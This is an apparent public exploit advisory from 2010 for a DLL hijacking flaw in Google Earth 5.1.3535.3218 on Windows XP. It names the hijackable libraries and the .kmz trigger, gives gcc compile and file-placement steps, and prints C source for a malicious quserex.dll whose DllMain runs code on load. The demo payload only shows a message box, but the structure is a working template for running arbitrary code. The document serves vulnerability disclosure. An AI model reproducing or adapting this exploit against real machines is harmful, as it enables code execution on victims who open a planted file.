Google Earth 5.1.3535.3218 – ‘quserex.dll’ DLL Hijacking
/* Google Earth v5.1.3535.3218 (quserex.dll) DLL Hijacking Exploit Vendor: Google Inc. Product Web Page: http://www.google.com Affected Version: 5.1.3535.3218 Summary: Google Earth lets you fly anywhere on Earth to view satellite imagery, maps, terrain, 3D buildings, from galaxies in outer space to the canyons of the ocean. You can explore rich geographical content, save your toured places, and share with others. Desc: Google Earth suffers from a dll hijacking vulnerability that enables the attacker to execute arbitrary code on a local level. The vulnerable extension is .kmz thru quserex.dll and wintab32.dll libraries. ---- gcc -shared -o quserex.dll googlee.c Compile and rename to quserex.dll, create a file test.kmz and put both files in same dir and execute. ---- Tested on Microsoft Windows XP Professional SP3 (EN) Vulnerability discovered by Gjoko 'LiquidWorm' Krstic liquidworm gmail com Zero Science Lab - http://www.zeroscience.mk 25.08.2010 */ #include <windows.h> BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { switch (fdwReason) { case DLL_PROCESS_ATTACH: dll_mll(); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } int dll_mll() { MessageBox(0, "DLL Hijacked!", "DLL Message", MB_OK); } |